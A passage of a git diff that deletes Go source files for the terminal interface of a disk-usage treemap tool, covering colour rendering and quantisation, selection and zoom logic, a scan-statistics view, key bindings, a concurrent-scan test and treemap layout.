cv.put(x1, r.Y, b.TR, 1, st) - cv.put(r.X, y1, b.BL, 1, st) - cv.put(x1, y1, b.BR, 1, st) -} - -// HLine draws a horizontal rule. -func (cv *Canvas) HLine(x, y, w int, ch string, st Style) { - for i := x; i < x+w; i++ { - cv.put(i, y, ch, 1, st) - } -} - -// Cell returns the text and style at (x, y) (for tests). -func (cv *Canvas) Cell(x, y int) (string, Style) { - if !cv.in(x, y) { - return "", Style{} - } - c := cv.c[y*cv.W+x] - return c.s, c.st -} - -// Line returns the plain text of row y (for tests). -func (cv *Canvas) Line(y int) string { - var b strings.Builder - for x := 0; x < cv.W; x++ { - b.WriteString(cv.c[y*cv.W+x].s) - } - return b.String() -} - -// colorDepth selects how colours are serialised. -type colorDepth uint8 - -const ( - depthTrue colorDepth = iota - depth256 - depth16 -) - -func sgr(b *strings.Builder, st Style, depth colorDepth) { - b.WriteString("\x1b[0") - if st.Attr&Bold != 0 { - b.WriteString(";1") - } - if st.Attr&Faint != 0 { - b.WriteString(";2") - } - if st.Attr&Italic != 0 { - b.WriteString(";3") - } - if st.Attr&Underline != 0 { - b.WriteString(";4") - } - if st.Attr&Reverse != 0 { - b.WriteString(";7") - } - col := func(c Color, base string) { - if c == 0 { - return - } - switch depth { - case depth256: - b.WriteString(";" + base + ";5;") - b.WriteString(strconv.Itoa(int(quant256(c)))) - return - case depth16: - n := int(quant16(c)) - code := 30 + n - if n >= 8 { - code = 90 + n - 8 - } - if base == "48" { - code += 10 - } - b.WriteString(";" + strconv.Itoa(code)) - return - } - b.WriteString(";" + base + ";2;") - b.WriteString(strconv.Itoa(int(c >> 16 & 0xff))) - b.WriteByte(';') - b.WriteString(strconv.Itoa(int(c >> 8 & 0xff))) - b.WriteByte(';') - b.WriteString(strconv.Itoa(int(c & 0xff))) - } - col(st.FG, "38") - col(st.BG, "48") - b.WriteByte('m') -} - -// String serialises the canvas as lines of text with SGR styling and -// 24-bit colours. -func (cv *Canvas) String() string { return cv.Render(depthTrue) } - -// Render serialises the canvas. For 256 and 16 colours it quantizes with -// its own perceptual mapping (see color256.go); Bubble Tea strips colour -// entirely for colourless terminals. -func (cv *Canvas) Render(depth colorDepth) string { - var b strings.Builder - b.Grow(cv.W * cv.H * 4) - for y := 0; y < cv.H; y++ { - if y > 0 { - b.WriteByte('\n') - } - var cur Style - first := true - for x := 0; x < cv.W; x++ { - c := cv.c[y*cv.W+x] - if c.s == "" { - continue - } - if first || c.st != cur { - sgr(&b, c.st, depth) - cur, first = c.st, false - } - b.WriteString(c.s) - } - b.WriteString("\x1b[0m") - } - return b.String() -} diff --git a/internal/tui/color256.go b/internal/tui/color256.go deleted file mode 100644 index 88f9091..0000000 --- a/internal/tui/color256.go +++ /dev/null @@ -1,96 +0,0 @@ -package tui - -import ( - "math" - "sync" -) - -// The stock 256-colour conversion maps dark, slightly tinted colours to -// saturated cube entries (olive, navy), which wrecks the subtle shading the -// treemap relies on. quant256 picks the perceptually nearest entry (redmean -// distance) among the cube and the grey ramp, never the palette-dependent -// first 16 entries. - -var ( - cubeLevels = [6]int{0, 95, 135, 175, 215, 255} - q256Cache sync.Map // Color -> uint8 -) - -func redmean(r1, g1, b1, r2, g2, b2 int) int { - rm := (r1 + r2) / 2 - dr, dg, db := r1-r2, g1-g2, b1-b2 - return ((512+rm)*dr*dr)>>8 + 4*dg*dg + ((767-rm)*db*db)>>8 -} - -func quant256(c Color) uint8 { - if v, ok := q256Cache.Load(c); ok { - return v.(uint8) - } - r, g, b := int(c>>16&0xff), int(c>>8&0xff), int(c&0xff) - best, bestD := 16, math.MaxInt - for i := 0; i < 216; i++ { - cr, cg, cb := cubeLevels[i/36], cubeLevels[i/6%6], cubeLevels[i%6] - if d := redmean(r, g, b, cr, cg, cb); d < bestD { - best, bestD = 16+i, d - } - } - for i := 0; i < 24; i++ { - v := 8 + 10*i - if d := redmean(r, g, b, v, v, v); d < bestD { - best, bestD = 232+i, d - } - } - q256Cache.Store(c, uint8(best)) - return uint8(best) -} - -var q16Cache sync.Map // Color -> uint8 - -// quant16 maps a colour to a basic colour. Dark shades become black and -// unsaturated colours grey/white, so tints and shadows stay quiet; saturated -// colours keep their hue (bright variant when light), so category colours -// survive. The stock conversion instead turns dark tints into bright -// yellow/cyan. -func quant16(c Color) uint8 { - if v, ok := q16Cache.Load(c); ok { - return v.(uint8) - } - rf, gf, bf := c.rgb() - mx, mn := max(rf, gf, bf), min(rf, gf, bf) - luma := c.Luma() - var n uint8 - switch { - case luma < 0.2: - n = 0 - case mx-mn < 0.12: // grey - switch { - case luma < 0.45: - n = 8 - case luma < 0.8: - n = 7 - default: - n = 15 - } - default: - // Hue in sixths: red, yellow, green, cyan, blue, magenta. - var h float64 - switch mx { - case rf: - h = math.Mod((gf-bf)/(mx-mn), 6) - case gf: - h = (bf-rf)/(mx-mn) + 2 - default: - h = (rf-gf)/(mx-mn) + 4 - } - if h < 0 { - h += 6 - } - ansi := [6]uint8{1, 3, 2, 6, 4, 5}[int(math.Round(h))%6] - n = ansi - if luma > 0.5 { - n += 8 - } - } - q16Cache.Store(c, n) - return n -} diff --git a/internal/tui/data.go b/internal/tui/data.go deleted file mode 100644 index 1874b26..0000000 --- a/internal/tui/data.go +++ /dev/null @@ -1,199 +0,0 @@ -package tui - -import ( - "sort" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/snapshot" -) - -// kids is a cached, size-sorted child list (zero-size entries removed). -type kids struct { - ids []inventory.NodeID - sizes []int64 - total int64 -} - -// sizeOf returns the size that drives layout: the filtered size when a -// filter is active, otherwise the aggregate in the current size mode. -// Callers hold the tree read lock. -func (m *Model) sizeOf(id inventory.NodeID) int64 { - if r := m.search.result; r != nil { - return r.Size(id) - } - n := m.tree.Node(id) - if n.Flags&inventory.FlagDeleted != 0 { - return 0 - } - return n.Total(m.sizeMode) -} - -// kidsOf returns the sorted children of id, cached until data changes. -func (m *Model) kidsOf(id inventory.NodeID) *kids { - if m.kidsVer != m.dataVer { - clear(m.kidsCache) - m.kidsVer = m.dataVer - } - if k, ok := m.kidsCache[id]; ok { - return k - } - k := &kids{} - m.tree.Children(id, func(c inventory.NodeID, _ *inventory.Node) { - if s := m.sizeOf(c); s > 0 { - k.ids = append(k.ids, c) - k.sizes = append(k.sizes, s) - k.total += s - } - }) - sort.Sort(byKidSize{k}) - m.kidsCache[id] = k - return k -} - -type byKidSize struct{ *kids } - -func (b byKidSize) Len() int { return len(b.ids) } -func (b byKidSize) Less(i, j int) bool { - if b.sizes[i] != b.sizes[j] { - return b.sizes[i] > b.sizes[j] - } - return b.ids[i] < b.ids[j] -} -func (b byKidSize) Swap(i, j int) { - b.ids[i], b.ids[j] = b.ids[j], b.ids[i] - b.sizes[i], b.sizes[j] = b.sizes[j], b.sizes[i] -} - -// selectedNode returns the selected inventory node (NoNode for groups). -func (m *Model) selectedNode() inventory.NodeID { - if m.sel == noSel || isGroup(m.sel) || m.sel >= int64(m.tree.Len()) { - return inventory.NoNode - } - return inventory.NodeID(m.sel) -} - -// ensureSelection keeps the selection meaningful after any change: if the -// selected node is no longer a direct, visible child of the zoom root it -// falls back to the visible ancestor, then the group containing it, then -// the largest child. Tree read lock held. -func (m *Model) ensureSelection() { - k := m.kidsOf(m.zoom) - if len(k.ids) == 0 { - m.sel = noSel - return - } - if !m.userSel { - // Until the user picks something, follow the largest block (it - // changes while a scan is running). - m.sel = int64(k.ids[0]) - return - } - if isGroup(m.sel) { - if groupParent(m.sel) == m.zoom { - return - } - m.sel = noSel - } - id := m.selectedNode() - if id != inventory.NoNode { - // Walk up to the direct child of the zoom root. - for cur := id; cur != inventory.NoNode; cur = m.tree.Node(cur).Parent { - if m.tree.Node(cur).Parent == m.zoom { - if m.sizeOf(cur) > 0 { - m.sel = int64(cur) - return - } - break - } - } - } - m.sel = int64(k.ids[0]) -} - -// visibleSel maps the selection onto the treemap blocks: a node collapsed -// into the LOD group selects the group. -func (m *Model) visibleSel(blocks map[int64]bool) int64 { - if blocks[m.sel] { - return m.sel - } - if !isGroup(m.sel) && blocks[groupID(m.zoom)] { - return groupID(m.zoom) - } - return m.sel -} - -// zoomTo makes dir the treemap root. -func (m *Model) zoomTo(dir inventory.NodeID) { - if dir == m.zoom { - return - } - prev := m.zoom - m.zoom = dir - // Coming back out, keep the directory we left selected. - if m.tree.IsAncestor(dir, prev) { - m.sel = int64(prev) - } else { - m.sel = noSel - } - m.userSel = m.sel != noSel - m.zoomed = true - m.dirty = true -} - -func (m *Model) setView(i int) { - if i >= 0 && i < len(m.views) { - m.view = i - m.dirty = true - } -} - -// colorOf returns the base colour for a block. -func (m *Model) colorOf(id int64) Color { - t := m.theme - if isGroup(id) { - return t.Group - } - nid := inventory.NodeID(id) - n := m.tree.Node(nid) - if d := m.opts.Diff; d != nil { - switch d.StatusOf(nid, m.sizeMode) { - case snapshot.Added: - return t.DiffNew - case snapshot.Grew: - old, _ := d.OldSize(nid, m.sizeMode) - return t.DiffSame.Mix(t.DiffGrow, ratio(n.Total(m.sizeMode)-old, old)) - case snapshot.Shrank: - old, _ := d.OldSize(nid, m.sizeMode) - return t.DiffSame.Mix(t.DiffShrink, ratio(old-n.Total(m.sizeMode), old)) - } - return t.DiffSame - } - if !n.IsDir() { - if t.Ext != nil { - if c, ok := t.Ext[m.tree.ExtName(n)]; ok { - return c - } - } - return t.Cat[n.Cat] - } - cs := m.tree.CatSizes(nid) - best, bestV := -1, int64(0) - for i, v := range cs { - if v > bestV { - best, bestV = i, v - } - } - if best < 0 { - return t.EmptyDir - } - return t.Cat[best] -} - -// ratio maps a relative change to 0.35..1 for colour intensity. -func ratio(delta, base int64) float64 { - if base <= 0 { - return 1 - } - r := float64(delta) / float64(base) - return min(1, 0.35+r*0.65) -} diff --git a/internal/tui/infoview.go b/internal/tui/infoview.go deleted file mode 100644 index ed3da63..0000000 --- a/internal/tui/infoview.go +++ /dev/null @@ -1,163 +0,0 @@ -package tui - -import ( - "fmt" - "runtime" - "strings" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// infoView shows scan statistics and the error list. -type infoView struct{ tb table } - -func (*infoView) name() string { return "Scan" } - -func (v *infoView) focusErrors(m *Model) { v.tb.cursor = 0 } - -func (v *infoView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - cv.Fill(r, " ", t.base()) - st := &m.tree.Stats - root := m.tree.Node(m.tree.Root()) - lw := min(52, r.W/2) - if r.W < 100 { - lw = r.W - 2 - } - y := r.Y + 1 - x := r.X + 2 - label := Style{FG: t.Muted, BG: t.Bg} - value := Style{FG: t.Fg, BG: t.Bg, Attr: Bold} - line := func(k, val string, vs Style) { - if y >= r.Y+r.H { - return - } - cv.Text(x, y, k, 20, label) - cv.Text(x+20, y, val, lw-20, vs) - y++ - } - head := func(s string) { - if y >= r.Y+r.H-1 { - return - } - y++ - cv.Text(x, y, s, lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - y++ - } - state := "Complete" - stateSt := Style{FG: t.OK, BG: t.Bg, Attr: Bold} - switch { - case m.scanning: - state, stateSt.FG = "Scanning…", t.Accent - case st.Cancelled: - state, stateSt.FG = "Cancelled — totals incomplete", t.Warn - case st.Incomplete(): - state, stateSt.FG = "Complete, with unreadable areas", t.Warn - } - cv.Text(x, y, "SCAN INFORMATION", lw, Style{FG: t.Accent, BG: t.Bg, Attr: Bold}) - y++ - line("Root", textutil.Sanitize(st.Root), value) - line("State", state, stateSt) - if st.FromSnapshot != "" { - line("Snapshot", textutil.Sanitize(st.FromSnapshot), value) - } - files := st.Files + st.Symlinks + st.Others - line("Items scanned", textutil.Count(files+st.Dirs), value) - line(" Files", textutil.Count(st.Files), value) - line(" Directories", textutil.Count(st.Dirs), value) - line(" Symlinks", textutil.Count(st.Symlinks), value) - line(" Special", textutil.Count(st.Others), value) - line("Logical size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotSize), textutil.Count(root.TotSize)), value) - line("Allocated size", fmt.Sprintf("%s (%s bytes)", textutil.Size(root.TotAlloc), textutil.Count(root.TotAlloc)), value) - el := st.Elapsed() - if st.FromSnapshot == "" { - line("Elapsed", textutil.Duration(el), value) - line("Rate", textutil.Count(int64(float64(files+st.Dirs)/max(el.Seconds(), 0.001)))+" items/s", value) - line("Workers", fmt.Sprintf("%d (%d CPUs)", st.Workers, runtime.NumCPU()), value) - } - - head("ERRORS AND OMISSIONS") - anyIssue := false - for k, c := range st.ErrCounts { - if c > 0 { - line(inventory.ErrKind(k).String(), textutil.Count(c), Style{FG: t.Err, BG: t.Bg, Attr: Bold}) - anyIssue = true - } - } - type row struct { - k string - v int64 - } - for _, rr := range []row{{"Unscanned dirs", st.Unscanned}, {"Excluded", st.Excluded}, {"Other FS skipped", st.SkippedMounts}, - {"Virtual FS skipped", st.VirtualSkipped}, {"Loops skipped", st.LoopsSkipped}, {"Broken symlinks", st.BrokenLinks}, - {"Hard-link dups", st.HardlinkDups}} { - if rr.v > 0 { - line(rr.k, textutil.Count(rr.v), Style{FG: t.Warn, BG: t.Bg, Attr: Bold}) - anyIssue = true - } - } - if !anyIssue { - line("None", "every entry was read", Style{FG: t.OK, BG: t.Bg}) - } - head("OPTIONS") - excl := "none" - if len(st.Excludes) > 0 { - excl = textutil.Sanitize(strings.Join(st.Excludes, ", ")) - } - line("Exclusions", excl, value) - line("One filesystem", fmt.Sprint(st.OneFileSystem), value) - line("Follow symlinks", textutil.Sanitize(st.Follow), value) - line("Size mode", m.sizeMode.String(), value) - units := "IEC (1024)" - if textutil.SI { - units = "SI (1000)" - } - line("Units", units, value) - if root.Flags&inventory.FlagAllocUnknown != 0 { - line("Note", "allocated size unavailable on this platform", Style{FG: t.Warn, BG: t.Bg}) - } - - // Error list on the right (or below in narrow terminals). - er := treemap.Rect{X: r.X + lw + 4, Y: r.Y, W: r.W - lw - 4, H: r.H} - if r.W < 100 { - er = treemap.Rect{X: r.X, Y: y + 1, W: r.W, H: r.Y + r.H - y - 1} - } - if er.W < 30 || er.H < 4 { - return - } - rows := make([]tableRow, len(st.Errors)) - for i, e := range st.Errors { - p := m.tree.Path(e.Node) - if e.Name != "" { - p += "/" + e.Name - } - rows[i] = tableRow{cells: []string{e.Kind.String(), textutil.Sanitize(p), textutil.Sanitize(e.Msg)}, - styles: []*Style{{FG: t.Err, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}}, bar: -1} - } - title := fmt.Sprintf("ERROR LIST (%s)", textutil.Count(st.TotalErrors())) - if int64(len(st.Errors)) < st.TotalErrors() { - title += fmt.Sprintf(" — first %s shown", textutil.Count(int64(len(st.Errors)))) - } - v.tb.paint(m, cv, er, []column{{"KIND", 18, false, false}, {"PATH", 0, false, true}, {"DETAIL", 22, false, false}}, rows, title) -} - -func (v *infoView) key(m *Model, k string) (bool, tea.Cmd) { - errs := m.tree.Stats.Errors - if v.tb.key(k, len(errs)) { - return true, nil - } - if v.tb.cursor < len(errs) && (k == "enter" || k == "space") { - m.jumpTo(errs[v.tb.cursor].Node) - return true, nil - } - return false, nil -} - -func (v *infoView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(m.tree.Stats.Errors)) - return nil -} diff --git a/internal/tui/keys.go b/internal/tui/keys.go deleted file mode 100644 index abe8951..0000000 --- a/internal/tui/keys.go +++ /dev/null @@ -1,268 +0,0 @@ -package tui - -import ( - "fmt" - "os" - "path/filepath" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// view is one of the Tab-cycled main views. -type view interface { - name() string - paint(m *Model, cv *Canvas, r treemap.Rect) - key(m *Model, k string) (bool, tea.Cmd) - wheel(m *Model, up bool) tea.Cmd -} - -func keyName(k tea.KeyPressMsg) string { - switch s := k.String(); s { - case " ": - return "space" - default: - return s - } -} - -// handleKey dispatches a key press. It holds the tree read lock for the -// whole handler; helpers it calls must not lock again (a recursive RLock -// can deadlock against a waiting writer). -func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd { - k := keyName(msg) - if k == "ctrl+c" { - return m.ctrlCPressed() - } - t := m.tree - t.RLock() - defer t.RUnlock() - m.ensureSelection() - if len(m.modals) > 0 { - return m.modalKey(msg) - } - if m.search.editing { - return m.searchKey(msg) - } - handled, cmd := m.views[m.view].key(m, k) - if handled { - return cmd - } - switch k { - case "q": - m.quit = true - case "?", "f1": - m.openModal(newHelpModal(m)) - case "/": - m.search.begin() - case "esc": - if m.search.query != nil { - m.clearFilter() - } else if m.zoom != m.tree.Root() { - m.zoomOut() - } - case "tab": - m.setView((m.view + 1) % len(m.views)) - case "shift+tab": - m.setView((m.view + len(m.views) - 1) % len(m.views)) - case "1", "2", "3", "4", "5", "6", "7": - m.setView(int(k[0] - '1')) - case "enter": - return m.inspectSelection() - case "space", "right": - return m.zoomIntoSelection() - case "backspace", "left": - m.zoomOut() - case "home": - m.zoomTo(m.tree.Root()) - case "a": - if m.sizeMode == inventory.SizeAllocated { - m.sizeMode = inventory.SizeLogical - } else { - m.sizeMode = inventory.SizeAllocated - } - m.invalidate() - var cmds []tea.Cmd - if m.search.query != nil { - cmds = append(cmds, m.applyFilter()) - } - cmds = append(cmds, m.info("Sizing by "+m.sizeMode.String()+" size")) - return tea.Batch(cmds...) - case "r": - return m.rescan() - case "s": - m.openModal(newSaveModal(m)) - case "e": - m.setViewByName("Scan") - if v, ok := m.views[m.view].(*infoView); ok { - v.focusErrors(m) - } - case "x": - m.setViewByName("Types") - case "g": - m.setViewByName("Top") - case "D": - return m.startDuplicates() - case "c": - return m.copySelected() - case "o": - return m.reveal() - case "d", "delete": - return m.requestTrash() - case "T": - names := ThemeNames() - cur := 0 - for i, n := range names { - if n == m.theme.Name { - cur = i - } - } - ascii := m.theme.ASCII - m.theme = LoadTheme(names[(cur+1)%len(names)], m.opts.Settings) - m.theme.ASCII = ascii - return m.info("Theme: " + m.theme.Name) - } - return nil -} - -func (m *Model) setViewByName(n string) { - for i, v := range m.views { - if v.name() == n { - m.setView(i) - } - } -} - -func (m *Model) inspectSelection() tea.Cmd { - if isGroup(m.sel) { - if g, ok := m.groupInfo(m.sel); ok { - m.openModal(newGroupModal(m, g)) - } - return nil - } - if id := m.selectedNode(); id != inventory.NoNode { - m.openModal(newInfoModal(m, id)) - } - return nil -} - -func (m *Model) zoomIntoSelection() tea.Cmd { - if isGroup(m.sel) { - // Groups cannot be zoomed: show their members in the list view. - if g, ok := m.groupInfo(m.sel); ok && len(g.ids) > 0 { - m.sel = int64(g.ids[0]) - m.setViewByName("List") - } - return nil - } - id := m.selectedNode() - if id == inventory.NoNode { - return nil - } - if !m.tree.Node(id).IsDir() { - return m.info("Not a directory — Enter shows details") - } - if len(m.kidsOf(id).ids) == 0 { - return m.info("Directory is empty") - } - m.zoomTo(id) - return nil -} - -func (m *Model) zoomOut() { - if p := m.tree.Node(m.zoom).Parent; p != inventory.NoNode { - m.zoomTo(p) - } -} - -// jumpTo zooms to a node's parent directory and selects it. -func (m *Model) jumpTo(id inventory.NodeID) { - p := m.tree.Node(id).Parent - if p == inventory.NoNode { - m.zoomTo(id) - return - } - m.zoomTo(p) - m.sel = int64(id) - m.setViewByName("Map") -} - -func (m *Model) selectedPath() (string, bool) { - id := m.selectedNode() - if id == inventory.NoNode { - return "", false - } - return m.tree.Path(id), true -} - -func (m *Model) copySelected() tea.Cmd { - p, ok := m.selectedPath() - if !ok { - return nil - } - return m.copyPath(p) -} - -// copyPath puts p on the clipboard (OSC 52). Paths that would not survive -// display unchanged are refused: a newline in a hostile filename runs -// commands when pasted into a shell, and bidi controls disguise them. -func (m *Model) copyPath(p string) tea.Cmd { - if textutil.Sanitize(p) != p { - return m.warn("Not copied: path contains control or bidi characters") - } - return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)")) -} - -func (m *Model) reveal() tea.Cmd { - if m.snapshot { - return m.warn("Snapshot — the files may not exist on this machine") - } - p, ok := m.selectedPath() - if !ok { - return nil - } - if platform.Headless() { - // No file manager: show the folder in the map instead. - id := m.selectedNode() - if m.tree.Node(id).IsDir() && len(m.kidsOf(id).ids) > 0 { - m.zoomTo(id) - m.setViewByName("Map") - } else { - m.jumpTo(id) - } - return m.info("Showing " + textutil.Sanitize(m.tree.Path(m.zoom))) - } - if err := platform.Reveal(p); err != nil { - return m.warn("Open failed: " + textutil.Sanitize(err.Error())) - } - return m.info("Opened in file manager") -} - -func (m *Model) saveSnapshot(path string) tea.Cmd { - t := m.tree - return func() tea.Msg { - t.RLock() - err := saveFile(path, t) - t.RUnlock() - return saveDoneMsg{path, err} - } -} - -type saveDoneMsg struct { - path string - err error -} - -func defaultSnapshotName(root string) string { - base := filepath.Base(root) - if base == string(filepath.Separator) || base == "." || base == "" { - base = "root" - } - wd, _ := os.Getwd() - return filepath.Join(wd, fmt.Sprintf("%s-%s.msz", base, time.Now().Format("20060102-1504"))) -} diff --git a/internal/tui/live_test.go b/internal/tui/live_test.go deleted file mode 100644 index 12c1a8f..0000000 --- a/internal/tui/live_test.go +++ /dev/null @@ -1,71 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "os" - "path/filepath" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" -) - -// TestLiveScanRendering renders, navigates, filters and resizes while the -// scanner mutates the inventory. Run with -race to verify the locking -// discipline. -func TestLiveScanRendering(t *testing.T) { - root := t.TempDir() - for i := range 30 { - d := filepath.Join(root, fmt.Sprintf("d%02d", i), "sub") - if err := os.MkdirAll(d, 0o755); err != nil { - t.Fatal(err) - } - for j := range 40 { - os.WriteFile(filepath.Join(d, fmt.Sprintf("f%d.log", j)), make([]byte, (i+1)*(j+1)*100), 0o644) - } - } - start := func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) { - s, err := scan.Start(ctx, root, scan.Options{Workers: 4, ChunkSize: 3}) - if err != nil { - return nil, nil, err - } - return s, s.Tree, nil - } - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - s, tr, err := start(ctx) - if err != nil { - t.Fatal(err) - } - m := newModel(Options{Start: start}, s, tr, cancel) - sizes := [][2]int{{120, 40}, {80, 24}, {200, 60}, {45, 12}} - deadline := time.After(20 * time.Second) - for i := 0; ; i++ { - send(m, size(sizes[i%len(sizes)][0], sizes[i%len(sizes)][1]), tickMsg(time.Now())) - send(m, key([]string{"right", "down", "left", "up"}[i%4])) - if i%5 == 0 { - send(m, key("tab")) - } - if i == 3 { - m.search.ed.set("ext = log") - m.queryChanged() - send(m, m.applyFilter()()) - } - m.dirty = true - m.View() - select { - case <-s.Done(): - send(m, scanDoneMsg{s}) - m.View() - if m.scanning { - t.Fatal("scan should be finished") - } - return - case <-deadline: - t.Fatal("scan did not finish") - default: - } - } -} diff --git a/internal/tui/mapview.go b/internal/tui/mapview.go deleted file mode 100644 index 4d9f802..0000000 --- a/internal/tui/mapview.go +++ /dev/null @@ -1,391 +0,0 @@ -package tui - -import ( - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// tmLayout is the treemap geometry for one (zoom, rect, data version). It is -// recomputed from scratch whenever any of those change — after a resize the -// layout algorithm runs again for the new rectangle rather than scaling the -// old one. -type tmLayout struct { - zoom inventory.NodeID - rect treemap.Rect - ver int - blocks []treemap.Block // top level: navigable - nested []nested // previews inside directories: drawn only - groups map[int64]*group - visible map[int64]bool - inner map[int64]bool // top-level blocks with nested previews -} - -type nested struct { - id int64 - r treemap.Rect - depth int - alt bool - inner bool // has nested children drawn inside it -} - -type group struct { - parent inventory.NodeID - ids []inventory.NodeID - size int64 -} - -// LOD parameters. -const ( - topMinArea = 12 // cells: room for a 4×3 framed block - topMaxItems = 400 - nestMinArea = 3 - nestMaxItems = 120 - maxNestDepth = 8 // block-size thresholds stop recursion long before this - nestMinW = 4 - nestMinH = 2 - nestRecurseW = 14 - nestRecurseH = 5 -) - -func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout { - if l := m.tm; l != nil && l.zoom == m.zoom && l.rect == r && l.ver == m.dataVer { - return l - } - l := &tmLayout{zoom: m.zoom, rect: r, ver: m.dataVer, groups: map[int64]*group{}, visible: map[int64]bool{}, inner: map[int64]bool{}} - l.blocks = m.layoutLevel(l, m.zoom, r, topMinArea, topMaxItems) - for _, b := range l.blocks { - l.visible[b.ID] = true - if b.ID < 0 || b.W < 3 || b.H < 2 { - continue - } - if n := m.tree.Node(inventory.NodeID(b.ID)); n.IsDir() { - in := b.Inset(1) - if in.W >= nestMinW && in.H >= nestMinH { - before := len(l.nested) - m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), in, 2) - l.inner[b.ID] = len(l.nested) > before - } - } - } - m.tm = l - return l -} - -// layoutLevel lays out the children of parent in r with level-of-detail -// grouping: children too small to be useful collapse into one group block. -func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect, minArea, maxItems int) []treemap.Block { - k := m.kidsOf(parent) - if len(k.ids) == 0 || r.Empty() { - return nil - } - sizes := make([]float64, len(k.sizes)) - for i, s := range k.sizes { - sizes[i] = float64(s) - } - vis := treemap.Visible(sizes, float64(k.total), r.Area(), minArea, maxItems) - items := make([]treemap.Item, 0, vis+1) - for i := range vis { - items = append(items, treemap.Item{ID: int64(k.ids[i]), Size: sizes[i]}) - } - if vis < len(k.ids) { - g := &group{parent: parent, ids: k.ids[vis:]} - for _, s := range k.sizes[vis:] { - g.size += s - } - gid := groupID(parent) - l.groups[gid] = g - items = append(items, treemap.Item{ID: gid, Size: float64(g.size)}) - } - return treemap.Squarify(items, r) -} - -func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) { - // Deeper levels need bigger blocks to stay legible rather than noisy. - blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1), nestMaxItems) - for i, b := range blocks { - nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1} - idx := len(l.nested) - l.nested = append(l.nested, nb) - if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH && - m.tree.Node(inventory.NodeID(b.ID)).IsDir() { - l.nested[idx].inner = true - m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1) - } - } -} - -// chainEnd follows directories whose only non-empty child is a directory -// (mnt → raid → media), so nesting spends its space on the level that -// actually branches instead of on full-size wrappers. -func (m *Model) chainEnd(id inventory.NodeID) inventory.NodeID { - for { - k := m.kidsOf(id) - if len(k.ids) != 1 || !m.tree.Node(k.ids[0]).IsDir() { - return id - } - id = k.ids[0] - } -} - -// groupInfo returns the LOD group for a group ID in the current layout. -func (m *Model) groupInfo(id int64) (*group, bool) { - if m.tm == nil { - return nil, false - } - g, ok := m.tm.groups[id] - return g, ok -} - -type mapView struct{} - -func (*mapView) name() string { return "Map" } - -func (v *mapView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - l := m.layoutTreemap(r) - if len(l.blocks) == 0 { - msg := "Empty directory" - switch { - case m.search.query != nil: - msg = "No matches here — Esc clears the filter" - case m.scanning: - msg = "Scanning…" - case !m.tree.Node(m.zoom).IsDir(): - msg = textutil.Sanitize(m.tree.Node(m.zoom).Name) + " — " + textutil.Size(m.sizeOf(m.zoom)) - } - cv.TextCentered(r.X, r.Y+r.H/2, r.W, msg, t.muted()) - return - } - sel := m.visibleSel(l.visible) - total := m.sizeOf(m.zoom) - for _, b := range l.blocks { - m.paintTop(cv, b, b.ID == sel, b.ID == m.hover, total) - } - for _, nb := range l.nested { - m.paintNested(cv, nb) - } - for _, b := range l.blocks { - id := b.ID - m.hits = append(m.hits, hit{b.Rect, func(m *Model, double bool) tea.Cmd { return m.clickBlock(id, double) }}) - } -} - -// blockName returns a sanitised display name for a block. -func (m *Model) blockName(id int64) string { - if isGroup(id) { - if g, ok := m.groupInfo(id); ok { - return textutil.Count(int64(len(g.ids))) + " smaller items" - } - return "smaller items" - } - nid := inventory.NodeID(id) - n := m.tree.Node(nid) - name := textutil.Sanitize(n.Name) - if n.IsDir() && nid != m.tree.Root() { - name += "/" - for end := m.chainEnd(nid); nid != end; { - nid = m.kidsOf(nid).ids[0] - name += textutil.Sanitize(m.tree.Node(nid).Name) + "/" - } - } - return name -} - -func (m *Model) blockSize(id int64) int64 { - if isGroup(id) { - if g, ok := m.groupInfo(id); ok { - return g.size - } - return 0 - } - return m.sizeOf(inventory.NodeID(id)) -} - -// parentSize is the size of the folder a block sits in. -func (m *Model) parentSize(id int64) int64 { - if isGroup(id) { - if g, ok := m.groupInfo(id); ok { - return m.sizeOf(g.parent) - } - return 0 - } - if p := m.tree.Node(inventory.NodeID(id)).Parent; p != inventory.NoNode { - return m.sizeOf(p) - } - return 0 -} - -func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) { - t := m.theme - base := m.colorOf(b.ID) - fill := base.Mix(t.Bg, 0.62) - fillCh := " " - if isGroup(b.ID) { - fillCh = "░" - if t.ASCII { - fillCh = "." - } - } - name := m.blockName(b.ID) - size := m.blockSize(b.ID) - if b.W < 3 || b.H < 2 { - // Too small for a frame: a solid tile. - st := Style{FG: base, BG: base.Mix(t.Bg, 0.3)} - ch := fillCh - if sel { - st = Style{FG: 